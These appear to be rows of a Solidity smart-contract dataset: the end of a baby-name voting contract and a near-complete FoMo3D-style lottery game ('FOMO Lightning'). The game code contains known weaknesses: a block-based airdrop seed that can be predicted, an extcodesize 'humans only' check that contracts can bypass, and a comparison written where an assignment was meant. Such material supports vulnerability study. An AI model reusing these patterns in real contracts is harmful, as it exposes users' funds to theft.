for (uint j = 0; j < n; j++ ) {
uint maxI = 0;
uint maxScore = 0;
bool found = false;
for (uint i = 0; i < cnt; i++ ) {
if (allNames[i] > maxScore) {
if ((usedNames & (uint(1) << i)) == 0) {
maxScore = allNames[i];
maxI = i;
found = true;
}
}
}
if (found) {
usedNames |= uint(1) << maxI;
top[j] = maxScore;
} else {
break;
}
}
}
function getTopNames() external view returns(uint[100]){
return allNames;
}
function getCount() external view returns(uint count){
count = counter;
}
function getScoreForName(string name) external view returns(uint){
return leaderboard[normalizeAndCheckName(bytes(name))];
}
function approve(string name, uint8 approval) external {
require(msg.sender == owner);
bytes10 name10 = normalizeAndCheckName(bytes(name));
uint uname = leaderboard[name10];
if (uname != 0) {
uname = setPart(uname, S_APPROVED_POS, S_APPROVED_SIZE, approval);
_update(name10, uname);
}
}
function redeem(uint _value) external{
require(msg.sender == owner);
uint value = _value;
if (value == 0) {
value = this.balance;
}
owner.transfer(value);
}
function babyBornEndVoting(string name, uint birthday) external returns(uint finalName){
require(msg.sender == owner);
bytes10 name10 = normalizeAndCheckName(bytes(name));
finalName = leaderboard[name10];
if (finalName != 0) {
babyName = finalName;
babyBirthday = birthday;
BabyBorn(name, birthday);
}
}
function getSelectedName() external view returns(uint name, uint birthday){
name = babyName;
birthday = babyBirthday;
}
function normalizeAndCheckName(bytes name) private pure returns(bytes10 name10){
require(name.length <= 10);
require(name.length >= 2);
for (uint8 i = 0; i < name.length; i++ ) {
bytes1 chr = name[i] & ~0x20;
require(chr >= 0x41 && chr <= 0x5A);
name[i] = chr;
name10 |= bytes10(chr) >> (8 * i);
}
}
} | 0 | 341 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DLightning is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "FOMO Lightning";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 15 minutes;
uint256 private rndGap_ = 15 minutes;
uint256 constant private rndInit_ = 15 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 15 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(49,2);
fees_[1] = F3Ddatasets.TeamFee(49,2);
fees_[2] = F3Ddatasets.TeamFee(49,2);
fees_[3] = F3Ddatasets.TeamFee(49,2);
potSplit_[0] = F3Ddatasets.PotSplit(38,2);
potSplit_[1] = F3Ddatasets.PotSplit(38,2);
potSplit_[2] = F3Ddatasets.PotSplit(38,2);
potSplit_[3] = F3Ddatasets.PotSplit(38,2);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
